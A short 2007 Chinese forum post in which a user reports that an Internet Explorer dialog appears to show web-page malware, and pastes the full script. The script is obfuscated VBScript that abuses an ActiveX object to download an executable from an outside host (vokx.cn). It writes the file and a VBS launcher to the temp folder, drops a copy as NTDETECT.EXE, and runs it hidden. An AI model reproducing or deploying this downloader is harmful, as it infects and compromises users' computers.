|
|
发表于 2007-8-9 15:48:03| 字数 1,807| - 中国–广东–深圳 电信
|
显示全部楼层
FK ,这看来像一段网页病毒
---------------------------
Microsoft Internet Explorer
---------------------------
<script language=VBScript>
On Error Resume Next
vip1= "e"
vip2= "x"
vip3= "e"
vip = "http://www.vokx.cn/voo/vip."
Set ou = document.createElement("object")
ccc="clsid:BD96":lll="C556-65":sss="A3-11D":iii="0-983A-00C":ddd="04FC29E36":uso="Microsoft.X":pk="MLHTTp"
ou.SetAttribute "classid", ccc&lll&sss&iii&ddd
bnb=uso&pk
Set vips = ou.CreateObject(bnb,"")
vips.Open "GET", vip&vip1&vip2&vip3, False
vips.Send
Hi="microsofts.bat"
love="microsofts.vbs"
SS="Scripting."
cc="FileSyst"
rr="emObject"
Set Ho = ou.createobject(SS&cc&rr,"")
Set uxo = Ho.GetSpecialFolder(2)
Hi=Ho.BuildPath(uxo,Hi)
love=Ho.BuildPath(uxo,love)
RR="Adod"
NN="b.stream"
hpk=RR&NN
Set chenzi = ou.createobject(hpk,"")
chenzi.type=1
chenzi.Open
chenzi.Write vips.ResponseBody
chenzi.Savetofile Hi,2
chenzi.Close
chenzi.Type=2
chenzi.Open
chenzi.WriteText "Set Shell = CreateObject(""Wscript.Shell"")"&vbCrLf&"shell.run ("""&Hi&""")"&vbCrLf&"Set Shell = Nothing"
chenzi.Savetofile love,2
chenzi.Savetofile "c:\\NTDETECT.EXE",2
chenzi.Close
we="Shell.Applica"
Set Run = ou.createobject(we&"tion","")
kkk="Op"
lll="en"
Run.Shellexecute love,"","",kkk&lll,0
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>FFF
---------------------------
确定
--------------------------- |
|